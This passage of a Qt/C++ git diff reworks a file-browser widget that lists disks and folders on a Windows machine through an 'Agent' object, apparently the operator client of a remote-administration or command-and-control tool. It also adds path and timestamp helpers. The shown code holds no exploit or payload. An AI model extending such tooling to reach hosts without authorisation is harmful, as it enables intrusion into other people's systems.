} + else if ( type == TYPE_DISK) { + TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::Drive)); + } + else { + TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::Folder)); + } +} + +void BrowserFileData::SetType(int type) +{ + this->Type = type; + + QFileIconProvider iconProvider; + if (type == TYPE_FILE) + this->TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::File)); + else if (type == TYPE_DISK) + this->TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::Drive)); + else + this->TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::Folder)); +} + + BrowserFilesWidget::BrowserFilesWidget(Agent* a) { agent = a; this->createUI(); - connect( buttonDisks, &QPushButton::clicked, this, &BrowserFilesWidget::onDisks); + connect(buttonDisks, &QPushButton::clicked, this, &BrowserFilesWidget::onDisks); + connect(buttonList, &QPushButton::clicked, this, &BrowserFilesWidget::onList); + connect(buttonParent, &QPushButton::clicked, this, &BrowserFilesWidget::onParent); + connect(buttonReload, &QPushButton::clicked, this, &BrowserFilesWidget::onReload); + connect(inputPath, &QLineEdit::returnPressed, this, &BrowserFilesWidget::onList); + + connect(tableWidget, &QTableWidget::doubleClicked, this, &BrowserFilesWidget::handleTableDoubleClicked); + connect(treeBrowserWidget, &QTreeWidget::itemDoubleClicked, this, &BrowserFilesWidget::handleTreeDoubleClicked); } BrowserFilesWidget::~BrowserFilesWidget() = default; @@ -18,16 +61,16 @@ void BrowserFilesWidget::createUI() buttonReload->setFixedSize(37, 28); buttonReload->setToolTip("Reload"); - buttonHomeDir = new QPushButton( QIcon(":/icons/folder"), "", this); - buttonHomeDir->setIconSize( QSize( 24,24 )); - buttonHomeDir->setFixedSize(37, 28); - buttonHomeDir->setToolTip("Up folder"); + buttonParent = new QPushButton(QIcon(":/icons/folder"), "", this); + buttonParent->setIconSize(QSize(24, 24 )); + buttonParent->setFixedSize(37, 28); + buttonParent->setToolTip("Up folder"); - pathInput = new QLineEdit(this); + inputPath = new QLineEdit(this); - buttonCd = new QPushButton(QIcon(":/icons/arrow_right"), "", this); - buttonCd->setIconSize( QSize( 24,24 )); - buttonCd->setFixedSize(37, 28); + buttonList = new QPushButton(QIcon(":/icons/arrow_right"), "", this); + buttonList->setIconSize(QSize(24, 24 )); + buttonList->setFixedSize(37, 28); line_1 = new QFrame(this); line_1->setFrameShape(QFrame::VLine); @@ -51,7 +94,6 @@ void BrowserFilesWidget::createUI() statusLabel->setText("Status: "); tableWidget = new QTableWidget(this ); - tableWidget->setColumnCount(3); tableWidget->setContextMenuPolicy( Qt::CustomContextMenu ); tableWidget->setAutoFillBackground( false ); tableWidget->setShowGrid( false ); @@ -65,7 +107,7 @@ void BrowserFilesWidget::createUI() tableWidget->horizontalHeader()->setCascadingSectionResizes( true ); tableWidget->horizontalHeader()->setHighlightSections( false ); tableWidget->verticalHeader()->setVisible( false ); - + tableWidget->setColumnCount(3); tableWidget->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); tableWidget->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Size" ) ); tableWidget->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Last Modified" ) ); @@ -76,9 +118,9 @@ void BrowserFilesWidget::createUI() listGridLayout->setHorizontalSpacing(8); listGridLayout->addWidget( buttonReload, 0, 0, 1, 1 ); - listGridLayout->addWidget( buttonHomeDir, 0, 1, 1, 1 ); - listGridLayout->addWidget( pathInput, 0, 2, 1, 5 ); - listGridLayout->addWidget( buttonCd, 0, 7, 1, 1 ); + listGridLayout->addWidget(buttonParent, 0, 1, 1, 1 ); + listGridLayout->addWidget(inputPath, 0, 2, 1, 5 ); + listGridLayout->addWidget(buttonList, 0, 7, 1, 1 ); listGridLayout->addWidget( line_1, 0, 8, 1, 1 ); listGridLayout->addWidget( buttonUpload, 0, 9, 1, 1 ); listGridLayout->addWidget( buttonDisks, 0, 10, 1, 1 ); @@ -109,9 +151,9 @@ void BrowserFilesWidget::createUI() void BrowserFilesWidget::SetDisks(qint64 time, int msgType, QString message, QString data) { QString sTime = UnixTimestampGlobalToStringLocal(time); - QString status = ""; + QString status; if( msgType == CONSOLE_OUT_LOCAL_ERROR || msgType == CONSOLE_OUT_ERROR ) { - status = TextColorHtml(message, COLOR_Berry) + " >> " + sTime; + status = TextColorHtml(message, COLOR_ChiliPepper) + " >> " + sTime; } else { status = TextColorHtml(message, COLOR_NeonGreen) + " >> " + sTime; @@ -123,41 +165,266 @@ void BrowserFilesWidget::SetDisks(qint64 time, int msgType, QString message, QSt if (!jsonDoc.isArray()) return; + QVector disks; + QJsonArray jsonArray = jsonDoc.array(); for (const QJsonValue& value : jsonArray) { QJsonObject jsonObject = value.toObject(); - BrowserFileData fileData; - fileData.Path = jsonObject["b_name"].toString(); - fileData.Type = "Disk"; - fileData.Modified = jsonObject["b_type"].toString(); - this->TreeAddData(fileData); + QString path = jsonObject["b_name"].toString(); + path = path.toLower(); + + BrowserFileData* diskData = getFileData(path); + diskData->Size = jsonObject["b_type"].toString(); + disks.push_back(*diskData); } + this->tableShowItems(disks); + + curentPath = ""; + inputPath->setText(curentPath); } -void BrowserFilesWidget::TreeAddData(BrowserFileData data) +void BrowserFilesWidget::AddFiles(qint64 time, int msgType, QString message, QString path, QString data) { - QString rootPath = GetRootPathWindows(data.Path); - QTreeWidgetItem* rootItem = nullptr; - for (int i = 0; i < treeBrowserWidget->topLevelItemCount(); ++i) { - auto item = treeBrowserWidget->topLevelItem(i); - if (item->text(0) == rootPath) { - rootItem = item; - break; - } + QString sTime = UnixTimestampGlobalToStringLocal(time); + QString status; + if( msgType == CONSOLE_OUT_LOCAL_ERROR || msgType == CONSOLE_OUT_ERROR ) { + status = TextColorHtml(message, COLOR_ChiliPepper) + " >> " + sTime; + statusLabel->setText(status); + return; + } + else { + status = TextColorHtml(message, COLOR_NeonGreen) + " >> " + sTime; + statusLabel->setText(status); } - if (!rootItem) { - rootItem = new QTreeWidgetItem(treeBrowserWidget); - rootItem->setText(0, rootPath); - rootItem->setIcon(0, QIcon(":/icons/ssd")); - treeBrowserWidget->addTopLevelItem(rootItem); + path = path.toLower(); + + BrowserFileData* currenFileData = this->getFileData(path); + currenFileData->Stored = true; + currenFileData->Status = status; + + QJsonDocument jsonDoc = QJsonDocument::fromJson(data.toUtf8()); + if (!jsonDoc.isArray()) + return; + + QJsonArray jsonArray = jsonDoc.array(); + this->updateFileData(currenFileData, path, jsonArray); + this->tableShowItems(currenFileData->Files); + + treeBrowserWidget->setCurrentItem(currenFileData->TreeItem); + currenFileData->TreeItem->setExpanded(true); + + curentPath = path; + inputPath->setText(curentPath); +} + +/// PRIVATE + +BrowserFileData BrowserFilesWidget::createFileData(QString path) +{ + int type = TYPE_DIR; + QString rootPath = GetRootPathWindows(path); + if(rootPath == path) + type = TYPE_DISK; + + BrowserFileData fileData; + fileData.CreateBrowserFileData(path, type); + + if( type == TYPE_DISK ) + treeBrowserWidget->addTopLevelItem(fileData.TreeItem); + + return fileData; +} + +BrowserFileData* BrowserFilesWidget::getFileData(QString path) +{ + if( browserStore.contains(path) ) { + return &browserStore[path]; + } + else { + QString rootPath = GetRootPathWindows(path); + BrowserFileData fileData = this->createFileData(path); + browserStore[path] = fileData; + if ( rootPath == path ) + return &browserStore[path]; + + QString parentPath = GetParentPathWindows(path); + BrowserFileData* parentFileData = this->getFileData(parentPath); + + parentFileData->TreeItem->addChild(fileData.TreeItem); + + return &browserStore[path]; } } +void BrowserFilesWidget::updateFileData(BrowserFileData* currenFileData, QString path, QJsonArray jsonArray) +{ + QMap oldFiles; + for (BrowserFileData oldData : currenFileData->Files) + oldFiles[oldData.Name] = oldData; + + currenFileData->TreeItem->takeChildren(); + currenFileData->Files.clear(); + + for ( QJsonValue value : jsonArray ) { + QJsonObject jsonObject = value.toObject(); + QString filename = jsonObject["b_filename"].toString(); + filename = filename.toLower(); + + qint64 b_size = jsonObject["b_size"].toDouble(); + qint64 b_date = jsonObject["b_date"].toDouble(); + int b_type = jsonObject["b_is_dir"].toBool(); + + QString fullname = path + "\\" + filename; + + BrowserFileData* childData = this->getFileData(fullname); + + childData->Modified = UnixTimestampGlobalToStringLocalFull(b_date); + + if ( b_type == TYPE_FILE ) { + childData->Size = BytesToFormat(b_size); + childData->SetType(b_type); + } + + if( oldFiles.contains(filename) ) { + oldFiles.remove(filename); + } + else { + childData->SetType(b_type); + if ( b_type != TYPE_FILE ) + browserStore[fullname] = *childData; + } + + currenFileData->TreeItem->addChild(childData->TreeItem); + currenFileData->Files.push_back(*childData); + } + + for( QString oldPath : oldFiles.keys() ) { + BrowserFileData data = oldFiles[oldPath]; + + QString oldFullpath = data.Fullpath + "\\"; + + for(QString storeKey : browserStore.keys()) + if (storeKey.startsWith(oldFullpath, Qt::CaseInsensitive)) + browserStore.remove(storeKey); + + browserStore.remove(data.Fullpath); + oldFiles.remove(oldPath); + } +} + +void BrowserFilesWidget::setStoredFileData(QString path, BrowserFileData currenFileData) +{ + + treeBrowserWidget->setCurrentItem(currenFileData.TreeItem); + currenFileData.TreeItem->setExpanded(true); + + this->tableShowItems(currenFileData.Files); + + statusLabel->setText( currenFileData.Status ); + + curentPath = path; + inputPath->setText(curentPath); +} + +void BrowserFilesWidget::tableShowItems(QVector files ) +{ + for (int index = tableWidget->rowCount(); index > 0; index-- ) + tableWidget->removeRow(index -1 ); + + tableWidget->setRowCount(files.size()); + for (int row = 0; row < files.size(); ++row) { + QTableWidgetItem* item_Name = new QTableWidgetItem(files[row].Name); + QTableWidgetItem* item_Size = new QTableWidgetItem(files[row].Size); + QTableWidgetItem* item_Date = new QTableWidgetItem(files[row].Modified); + + item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); + item_Size->setFlags( item_Size->flags() ^ Qt::ItemIsEditable ); + item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable ); + + QFileIconProvider iconProvider; + if ( files[row].Type == TYPE_FILE ) + item_Name->setIcon(iconProvider.icon(QFileIconProvider::File)); + else if ( files[row].Type == TYPE_DISK) + item_Name->setIcon(iconProvider.icon(QFileIconProvider::Drive)); + else + item_Name->setIcon(iconProvider.icon(QFileIconProvider::Folder)); + + tableWidget->setItem(row, 0, item_Name); + tableWidget->setItem(row, 1, item_Size); + tableWidget->setItem(row, 2, item_Date); + } +} + +void BrowserFilesWidget::cdBroser(QString path) +{ + if ( !browserStore.contains(path) ) + return; + + BrowserFileData fileData = browserStore[path]; + if (fileData.Type == TYPE_FILE) + return; + + if (fileData.Stored) { + this->setStoredFileData(path, fileData); + } else { + QString status = agent->BrowserList(path); + statusLabel->setText(status); + } +} + + + /// SLOTS void BrowserFilesWidget::onDisks() { QString status = agent->BrowserDisks(); statusLabel->setText(status); +} + +void BrowserFilesWidget::onList() +{ + QString path = inputPath->text(); + QString status = agent->BrowserList(path); + statusLabel->setText(status); +} + +void BrowserFilesWidget::onParent() +{ + QString path = GetParentPathWindows(curentPath); + if (path == curentPath) + return; + + this->cdBroser(path); +} + +void BrowserFilesWidget::onReload() +{ + if ( !curentPath.isEmpty() ){ + QString status = agent->BrowserList(curentPath); + statusLabel->setText(status); + } +} + +void BrowserFilesWidget::handleTableDoubleClicked(const QModelIndex &index) +{ + QString filename = tableWidget->item(index.row(),0)->text(); + + QString path = curentPath + "\\" + filename; + if(curentPath.isEmpty()) + path = filename; + + this->cdBroser(path); +} + +void BrowserFilesWidget::handleTreeDoubleClicked(QTreeWidgetItem* item, int column) +{ + FileBrowserTreeItem* treeItem = (FileBrowserTreeItem*) item; + + QString path = treeItem->Data.Fullpath; + if ( path == curentPath ) + return; + + this->cdBroser(path); } \ No newline at end of file diff --git a/Client/Source/Utils/Convert.cpp b/Client/Source/Utils/Convert.cpp index d869b761..ff073e9b 100644 --- a/Client/Source/Utils/Convert.cpp +++ b/Client/Source/Utils/Convert.cpp @@ -18,6 +18,17 @@ QString UnixTimestampGlobalToStringLocal(qint64 timestamp) return formattedTime; } +QString UnixTimestampGlobalToStringLocalFull(qint64 timestamp) +{ + if ( timestamp == 0 ) + return ""; + + QDateTime epochDateTime = QDateTime::fromSecsSinceEpoch(timestamp, Qt::UTC); + QDateTime localDateTime = epochDateTime.toLocalTime(); + QString formattedTime = localDateTime.toString("hh:mm dd/MM/yyyy"); + return formattedTime; +} + QString TextColorHtml(QString text, QString color) { if (text.isEmpty()) @@ -70,7 +81,7 @@ QString TrimmedEnds(QString str) return str.remove(QRegularExpression("\\s+$")); } -QString BytesToFormat(int bytes) +QString BytesToFormat(qint64 bytes) { const double KB = 1024.0; const double MB = KB * 1024; diff --git a/Client/Source/Utils/FileSystem.cpp b/Client/Source/Utils/FileSystem.cpp index 442f7a91..8bad112e 100644 --- a/Client/Source/Utils/FileSystem.cpp +++ b/Client/Source/Utils/FileSystem.cpp @@ -16,6 +16,13 @@ QString ReadFileString(const QString &filePath, bool* result) return content; } +QString GetBasenameWindows(const QString& path) +{ + QStringList pathParts = path.split("\\", Qt::SkipEmptyParts); + return pathParts[pathParts.size()-1]; +} + + QString GetRootPathWindows(const QString& path) { if (path.startsWith("\\\\")) { @@ -31,4 +38,26 @@ QString GetRootPathWindows(const QString& path) } return path; -} \ No newline at end of file +} + +QString GetParentPathWindows(const QString& path) +{ + if (path.length() == 2 && path[1] == ':') + return path; + + if (path.startsWith("\\\\") && !path.contains('\\')) + return path; + + QString parentPath = path; + if (!parentPath.endsWith('\\')) + parentPath += '\\'; + + int lastBackslashIndex = parentPath.lastIndexOf('\\'); + int secondLastBackslashIndex = parentPath.lastIndexOf('\\', lastBackslashIndex - 1); + + if (secondLastBackslashIndex != -1) { + return parentPath.left(secondLastBackslashIndex); + } + + return path; +}